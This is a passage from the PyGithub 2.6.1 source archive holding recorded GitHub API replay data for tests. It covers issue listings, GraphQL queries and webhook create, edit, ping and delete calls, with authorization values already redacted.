node_id.","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3003/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3003/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2999","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2999/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2999/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2999/events","html_url":"https://github.com/PyGithub/PyGithub/issues/2999","id":2395343564,"node_id":"I_kwDOADYVqs6OxgrM","number":2999,"title":"Remediation for CVE-2024-37891","user":{"login":"RSAlderman","id":81417750,"node_id":"MDQ6VXNlcjgxNDE3NzUw","avatar_url":"https://avatars.githubusercontent.com/u/81417750?v=4","gravatar_id":"","url":"https://api.github.com/users/RSAlderman","html_url":"https://github.com/RSAlderman","followers_url":"https://api.github.com/users/RSAlderman/followers","following_url":"https://api.github.com/users/RSAlderman/following{/other_user}","gists_url":"https://api.github.com/users/RSAlderman/gists{/gist_id}","starred_url":"https://api.github.com/users/RSAlderman/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/RSAlderman/subscriptions","organizations_url":"https://api.github.com/users/RSAlderman/orgs","repos_url":"https://api.github.com/users/RSAlderman/repos","events_url":"https://api.github.com/users/RSAlderman/events{/privacy}","received_events_url":"https://api.github.com/users/RSAlderman/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":1,"created_at":"2024-07-08T11:12:50Z","updated_at":"2024-07-08T12:19:25Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"MEND.io code scanning tool has identified that the latest available [PyGithub 2.3.0](https://pypi.org/project/PyGithub/2.3.0/) (released 2024-03-24) has a dependency on a vulnerable urllib3 package < v2.2.2 ([CVE-2024-37891](https://github.com/urllib3/urllib3/security/advisories/GHSA-34jh-p97f-mpxf))\r\n\r\n> PyGithub-2.3.0-py3-none-any.whl (Root Library)\r\n> ❌ urllib3-2.0.7-py3-none-any.whl (Vulnerable Library)\r\n\r\nCan you please indicate when a remediated version is planned to be released?","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2999/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2999/timeline","performed_via_github_app":null,"state_reason":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2998","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2998/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2998/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2998/events","html_url":"https://github.com/PyGithub/PyGithub/issues/2998","id":2383929448,"node_id":"I_kwDOADYVqs6OF-Bo","number":2998,"title":"Module not found on DJANGO ","user":{"login":"Mahdiar-web","id":173987976,"node_id":"U_kgDOCl7YiA","avatar_url":"https://avatars.githubusercontent.com/u/173987976?v=4","gravatar_id":"","url":"https://api.github.com/users/Mahdiar-web","html_url":"https://github.com/Mahdiar-web","followers_url":"https://api.github.com/users/Mahdiar-web/followers","following_url":"https://api.github.com/users/Mahdiar-web/following{/other_user}","gists_url":"https://api.github.com/users/Mahdiar-web/gists{/gist_id}","starred_url":"https://api.github.com/users/Mahdiar-web/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Mahdiar-web/subscriptions","organizations_url":"https://api.github.com/users/Mahdiar-web/orgs","repos_url":"https://api.github.com/users/Mahdiar-web/repos","events_url":"https://api.github.com/users/Mahdiar-web/events{/privacy}","received_events_url":"https://api.github.com/users/Mahdiar-web/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":3,"created_at":"2024-07-01T13:54:59Z","updated_at":"2024-07-04T16:07:55Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"im trying to runserver in django o see one of my apps namely \"page\" resulted in witnessing module not found \r\n\r\n```\r\nFile \"C:\\Users\\ASUS\\AppData\\Local\\Programs\\Python\\Python312\\Lib\\threading.py\", line 1073, in _bootstrap_inner\r\n self.run()\r\n File \"C:\\Users\\ASUS\\AppData\\Local\\Programs\\Python\\Python312\\Lib\\threading.py\", line 1010, in run\r\n self._target(*self._args, **self._kwargs)\r\n File \"C:\\Users\\ASUS\\Desktop\\Django\\env\\Lib\\site-packages\\django\\utils\\autoreload.py\", line 64, in wrapper\r\n fn(*args, **kwargs)\r\n File \"C:\\Users\\ASUS\\Desktop\\Django\\env\\Lib\\site-packages\\django\\core\\management\\commands\\runserver.py\", line 125, in inner_run\r\n autoreload.raise_last_exception()\r\n File \"C:\\Users\\ASUS\\Desktop\\Django\\env\\Lib\\site-packages\\django\\utils\\autoreload.py\", line 87, in raise_last_exception\r\n raise _exception[1]\r\n File \"C:\\Users\\ASUS\\Desktop\\Django\\env\\Lib\\site-packages\\django\\core\\management\\__init__.py\", line 394, in execute\r\n autoreload.check_errors(django.setup)()\r\n File \"C:\\Users\\ASUS\\Desktop\\Django\\env\\Lib\\site-packages\\django\\utils\\autoreload.py\", line 64, in wrapper\r\n fn(*args, **kwargs)\r\n File \"C:\\Users\\ASUS\\Desktop\\Django\\env\\Lib\\site-packages\\django\\__init__.py\", line 24, in setup\r\n apps.populate(settings.INSTALLED_APPS)\r\n File \"C:\\Users\\ASUS\\Desktop\\Django\\env\\Lib\\site-packages\\django\\apps\\registry.py\", line 91, in populate\r\n app_config = AppConfig.create(entry)\r\n ^^^^^^^^^^^^^^^^^^^^^^^\r\n File \"C:\\Users\\ASUS\\Desktop\\Django\\env\\Lib\\site-packages\\django\\apps\\config.py\", line 193, in create\r\n import_module(entry)\r\n File \"C:\\Users\\ASUS\\AppData\\Local\\Programs\\Python\\Python312\\Lib\\importlib\\__init__.py\", line 90, in import_module\r\n return _bootstrap._gcd_import(name[level:], package, level)\r\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\r\n File \"\", line 1387, in _gcd_import\r\n File \"\", line 1360, in _find_and_load\r\n File \"\", line 1324, in _find_and_load_unlocked\r\nModuleNotFoundError: No module named ' page'\r\n```\r\n","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2998/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/2998/timeline","performed_via_github_app":null,"state_reason":null}] https GET api.github.com None /repos/PyGithub/PyGithub/issues?per_page=1 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 17 Sep 2024 11:00:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"95e03ccab6d37555e3118eea0a47ec60e353ec760ce8fb9ecccf4b7a1dd0d9e1"'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4982'), ('X-RateLimit-Reset', '1726571099'), ('X-RateLimit-Used', '18'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F66:351A74:11714D:119A06:66E9613E')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3045","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3045/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3045/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3045/events","html_url":"https://github.com/PyGithub/PyGithub/pull/3045","id":2528623106,"node_id":"PR_kwDOADYVqs57oSc6","number":3045,"title":"Make tests pass some more years","user":{"login":"bmwiedemann","id":637990,"node_id":"MDQ6VXNlcjYzNzk5MA==","avatar_url":"https://avatars.githubusercontent.com/u/637990?v=4","gravatar_id":"","url":"https://api.github.com/users/bmwiedemann","html_url":"https://github.com/bmwiedemann","followers_url":"https://api.github.com/users/bmwiedemann/followers","following_url":"https://api.github.com/users/bmwiedemann/following{/other_user}","gists_url":"https://api.github.com/users/bmwiedemann/gists{/gist_id}","starred_url":"https://api.github.com/users/bmwiedemann/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bmwiedemann/subscriptions","organizations_url":"https://api.github.com/users/bmwiedemann/orgs","repos_url":"https://api.github.com/users/bmwiedemann/repos","events_url":"https://api.github.com/users/bmwiedemann/events{/privacy}","received_events_url":"https://api.github.com/users/bmwiedemann/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":0,"created_at":"2024-09-16T14:19:35Z","updated_at":"2024-09-16T14:19:35Z","closed_at":null,"author_association":"FIRST_TIME_CONTRIBUTOR","active_lock_reason":null,"draft":false,"pull_request":{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/3045","html_url":"https://github.com/PyGithub/PyGithub/pull/3045","diff_url":"https://github.com/PyGithub/PyGithub/pull/3045.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/3045.patch","merged_at":null},"body":"Without this patch, tests fail after 2024-11-25.\n\nBackground:\nAs part of my work on reproducible builds for openSUSE, I check that software still gives identical build results in the future.\nThe usual offset is +16 years, because that is how long I expect some software will be used in some places.\nThis showed up failing tests in our python-PyGithub package build.\nSee https://reproducible-builds.org/ for why this matters.","closed_by":null,"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3045/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/3045/timeline","performed_via_github_app":null,"state_reason":null}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GraphQl.testQuery.txt0000644000175100001660000000337414756101563022270 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($owner: String!, $name: String!) {\n repository(owner: $owner, name: $name) { url }\n }", "variables": {"owner": "PyGithub", "name": "PyGithub"}} 200 [('Date', 'Tue, 17 Sep 2024 18:26:35 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4979'), ('X-RateLimit-Reset', '1726598744'), ('X-RateLimit-Used', '21'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7FA1:2B9D7D:FDA0F:1007DB:66E9C9DA')] {"data":{"repository":{"url":"https://github.com/PyGithub/PyGithub"}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GraphQl.testQueryGraphQlClass.txt0000644000175100001660000000340314756101563024526 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($id: ID!) {\n node(id: $id) { ... on DiscussionComment { url } }\n }", "variables": {"id": "DC_kwDOADYVqs4AU3Mg"}} 200 [('Date', 'Tue, 17 Sep 2024 18:58:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4990'), ('X-RateLimit-Reset', '1726602697'), ('X-RateLimit-Used', '10'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F30:39A73C:87FC61:8965EC:66E9D157')] {"data":{"node":{"url":"https://github.com/PyGithub/PyGithub/discussions/2480#discussioncomment-5468960"}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GraphQl.testQueryRestClass.txt0000644000175100001660000000337414756101563024114 0ustar00runnerdockerhttps POST api.github.com None /graphql {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} {"query": "\n query Q($owner: String!, $name: String!) {\n repository(owner: $owner, name: $name) { url }\n }", "variables": {"owner": "PyGithub", "name": "PyGithub"}} 200 [('Date', 'Tue, 17 Sep 2024 18:58:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'read:discussion, read:org'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-10-04 11:29:00 UTC'), ('X-GitHub-Media-Type', 'github.v4; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1726602697'), ('X-RateLimit-Used', '9'), ('X-RateLimit-Resource', 'graphql'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', '7F17:39A73C:87FB5E:8964DF:66E9D156')] {"data":{"repository":{"url":"https://github.com/PyGithub/PyGithub"}}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Hook.setUp.txt0000644000175100001660000000731414756101563020723 0ustar00runnerdockerhttps GET api.github.com None /user {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4954'), ('content-length', '801'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"7af2c1dbdce8b064d8e1c1cee90fe416"'), ('date', 'Tue, 29 May 2012 19:04:12 GMT'), ('content-type', 'application/json; charset=utf-8')] {"total_private_repos":5,"collaborators":0,"html_url":"https://github.com/jacquev6","type":"User","company":"Criteo","location":"Paris, France","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","owned_private_repos":5,"public_repos":10,"public_gists":3,"private_gists":5,"following":24,"blog":"http://vincent-jacques.net","followers":13,"disk_usage":17092,"hireable":false,"url":"https://api.github.com/users/jacquev6","name":"Vincent Jacques","login":"jacquev6","email":"vincent@vincent-jacques.net","bio":"","id":327146,"plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"created_at":"2010-07-09T06:10:06Z","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"} https GET api.github.com None /repos/jacquev6/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4953'), ('content-length', '1129'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d574405822696c3387860e1e0f104059"'), ('date', 'Tue, 29 May 2012 19:04:13 GMT'), ('content-type', 'application/json; charset=utf-8')] {"mirror_url":null,"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":17,"updated_at":"2012-05-29T18:49:46Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","html_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":3,"git_url":"git://github.com/jacquev6/PyGithub.git","size":480,"private":false,"open_issues":12,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-29T18:49:46Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"full_name":"jacquev6/PyGithub"} https GET api.github.com None /repos/jacquev6/PyGithub/hooks/257993 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4952'), ('content-length', '293'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"36d23f2fb8cd26bc14f28b609f2aa3a3"'), ('date', 'Tue, 29 May 2012 19:04:14 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-29T18:49:47Z","events":["push"],"url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/257993","test_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/257993/tests","ping_url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/257993/pings","config":{"url":"http://foobar.com"},"last_response":{"status":"ok","message":"OK","code":200},"active":true,"name":"web","created_at":"2012-05-19T06:01:45Z","id":257993} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Hook.testDelete.txt0000644000175100001660000000063514756101563021724 0ustar00runnerdockerhttps DELETE api.github.com None /repos/jacquev6/PyGithub/hooks/257993 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4986'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 05:09:01 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Hook.testEditWithAllParameters.txt0000644000175100001660000000701014756101563024712 0ustar00runnerdockerhttps PATCH api.github.com None /repos/jacquev6/PyGithub/hooks/257993 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"config": {"url": "http://foobar.com"}, "name": "web", "events": ["fork", "push"]} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4987'), ('content-length', '305'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"43f8b86dbc2f5bbfde20abb9d9142206"'), ('date', 'Sat, 19 May 2012 06:03:18 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-19T06:03:18Z","url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/257993","last_response":{"status":"unused","message":null,"code":null},"config":{"url":"http://foobar.com"},"active":true,"events":["fork","push"],"name":"web","created_at":"2012-05-19T06:01:45Z","id":257993} https PATCH api.github.com None /repos/jacquev6/PyGithub/hooks/257993 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"config": {"url": "http://foobar.com"}, "name": "web", "add_events": ["push"]} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4986'), ('content-length', '305'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f372cc9359ed1d3b3fb8d484a09b36d7"'), ('date', 'Sat, 19 May 2012 06:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-19T06:03:19Z","url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/257993","last_response":{"status":"unused","message":null,"code":null},"config":{"url":"http://foobar.com"},"active":true,"events":["fork","push"],"name":"web","created_at":"2012-05-19T06:01:45Z","id":257993} https PATCH api.github.com None /repos/jacquev6/PyGithub/hooks/257993 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"remove_events": ["fork"], "config": {"url": "http://foobar.com"}, "name": "web"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4985'), ('content-length', '298'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"223ecc83a014738547fd99c826e3f125"'), ('date', 'Sat, 19 May 2012 06:03:19 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-19T06:03:19Z","url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/257993","config":{"url":"http://foobar.com"},"active":true,"last_response":{"status":"unused","message":null,"code":null},"events":["push"],"name":"web","created_at":"2012-05-19T06:01:45Z","id":257993} https PATCH api.github.com None /repos/jacquev6/PyGithub/hooks/257993 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"active": true, "config": {"url": "http://foobar.com"}, "name": "web"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('content-length', '298'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"711cf06c29a923c290e1af74dc3e019d"'), ('date', 'Sat, 19 May 2012 06:03:20 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-19T06:03:20Z","url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/257993","last_response":{"status":"unused","message":null,"code":null},"config":{"url":"http://foobar.com"},"active":true,"events":["push"],"name":"web","created_at":"2012-05-19T06:01:45Z","id":257993} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Hook.testEditWithMinimalParameters.txt0000644000175100001660000000156014756101563025574 0ustar00runnerdockerhttps PATCH api.github.com None /repos/jacquev6/PyGithub/hooks/257993 {'Content-Type': 'application/json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} {"config": {"url": "http://foobar.com/hook"}, "name": "web"} 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('content-length', '303'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"8628a600a78bd5171c9e8d23b1ec22de"'), ('date', 'Sat, 19 May 2012 05:08:16 GMT'), ('content-type', 'application/json; charset=utf-8')] {"last_response":{"status":"unused","message":null,"code":null},"updated_at":"2012-05-19T05:08:16Z","url":"https://api.github.com/repos/jacquev6/PyGithub/hooks/257993","config":{"url":"http://foobar.com/hook"},"active":true,"events":["push"],"name":"web","created_at":"2012-05-19T05:03:14Z","id":257993} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Hook.testPing.txt0000644000175100001660000000064114756101563021414 0ustar00runnerdockerhttps POST api.github.com None /repos/jacquev6/PyGithub/hooks/257993/pings {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4980'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 06:04:06 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Hook.testTest.txt0000644000175100001660000000064114756101563021436 0ustar00runnerdockerhttps POST api.github.com None /repos/jacquev6/PyGithub/hooks/257993/tests {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4980'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sat, 19 May 2012 06:04:06 GMT')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Installation.setUp.txt0000644000175100001660000000573714756101563022473 0ustar00runnerdockerhttps GET api.github.com None /app/installations {'Accept': 'application/vnd.github.machine-man-preview+json', 'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Thu, 08 Jun 2023 07:39:24 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'public, max-age=60, s-maxage=60'), ('Vary', 'Accept, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"b272db57fded7547562b4a357681c6c84054e8fb5169b32206e833bbe7f542e5"'), ('X-GitHub-Media-Type', 'github.v3; param=machine-man-preview; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), 